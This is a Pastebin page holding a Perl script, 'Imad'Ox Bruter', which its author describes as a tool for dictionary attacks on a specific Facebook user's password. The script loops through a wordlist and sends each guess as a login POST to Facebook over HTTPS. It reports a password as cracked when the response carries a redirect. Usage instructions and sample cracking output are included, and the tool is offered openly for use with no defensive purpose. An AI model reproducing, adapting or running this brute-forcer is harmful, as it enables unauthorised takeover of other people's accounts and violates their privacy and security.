Lulz-Tigre

fbV1.5.9

Jul 5th, 2016
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.50 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # Tool: Imad'Ox Bruter
  4. # Author: Imad'Ox Hunter
  5. # Code date: 17 April 2013
  6. #
  7. #
  8. # Description:
  9. # Imad'Ox Cracker is a password cracking tool written in perl to perform a dictionary-based attack on a specific Facebook user through HTTPS.
  10. #
  11. # Usage:
  12. # perl Imad'Ox-Bruter.pl login wordlist
  13. # login could be either a user's email address or profile name
  14. #
  15. # Module Requirements:
  16. #
  17. # Install module if missing:
  18. # perl -MCPAN -e 'install Net::SSLeay'
  19. #
  20. # Demo:
  21. # perl Imad'Ox-Bruter.pl [email protected] wordlist.lst
  22. #
  23. # --- Imad'Ox-Bruter Facebook password cracking tool
  24. # --- By Imad'Ox Hunter
  25. # --- www.facebook.com/imad.elouajib
  26. #
  27. # [+] Cracking [email protected] ...
  28. #
  29. # [-] test -> Failed
  30. # [-] test123 -> Failed
  31. # [-] testtest -> Failed
  32. # [-] testest123 -> Failed
  33. # [-] qwerty -> Failed
  34. # [-] azerty -> Failed
  35. # [-] password -> Failed
  36. # [-] password123 -> Failed
  37. #
  38. ########################################################
  39. # [+] CRACKED! Your password is P@$$W0RD
  40. ########################################################
  41. #
  42. use strict;
  43. use Net::SSLeay::Handle;
  44. if(!defined($ARGV[0] && $ARGV[1])) {
  45. system('clear');
  46. print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n";
  47. print "+++ Coded by Imad'Ox-Hunter\n";
  48. print "+++ www.fb.com/imad.elouajib\n\n";
  49. print "+++ Usage: perl $0 login wordlist\n\n";
  50. exit; }
  51. my $user = $ARGV[0];
  52. my $wordlist = $ARGV[1];
  53. open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";
  54. print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n";
  55. print "+++ Coded by Imad'Ox-Hunter\n";
  56. print "+++ www.fb.com/imad.elouajib\n";
  57. print "\n[+] Now Cracking $user ...\n\n";
  58. while (my $password = <LIST>) {
  59. chomp ($password);
  60. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  61. my $a = "POST /login.php HTTP/1.1";
  62. my $b = "Host: www.facebook.com";
  63. my $c = "Connection: close";
  64. my $e = "Cache-Control: max-age=0";
  65. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  66. my $g = "Origin: https://www.facebook.com";
  67. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  68. my $i = "Content-Type: application/x-www-form-urlencoded";
  69. my $j = "Accept-Encoding: gzip,deflate,sdch";
  70. my $k = "Accept-Language: en-US,en;q=0.8";
  71. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  72. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  73. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  74. my $cl = length($post);
  75. my $d = "Content-Length: $cl";
  76. my ($host, $port) = ("www.facebook.com", 443);
  77. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  78. print SSL "$a\n";
  79. print SSL "$b\n";
  80. print SSL "$c\n";
  81. print SSL "$d\n";
  82. print SSL "$e\n";
  83. print SSL "$f\n";
  84. print SSL "$g\n";
  85. print SSL "$h\n";
  86. print SSL "$i\n";
  87. print SSL "$j\n";
  88. print SSL "$k\n";
  89. print SSL "$l\n";
  90. print SSL "$cookie\n\n";
  91. print SSL "$post\n";
  92. my $success;
  93. while(my $result = <SSL>){
  94. if($result =~ /Location(.*?)/){
  95. $success = $1;
  96. }
  97. }
  98. if (!defined $success)
  99. {
  100. print "[-] $password -> Not Him :( \n";
  101. close SSL;
  102. }
  103. else
  104. {
  105. print "\n########################################################\n";
  106. print "[+] Yuuup!! Pass Cracked => Pass is $password :D\n";
  107. print "########################################################\n\n";
  108. close SSL;
  109. exit;
  110. }
  111. }
Add Comment
Please, Sign In to add comment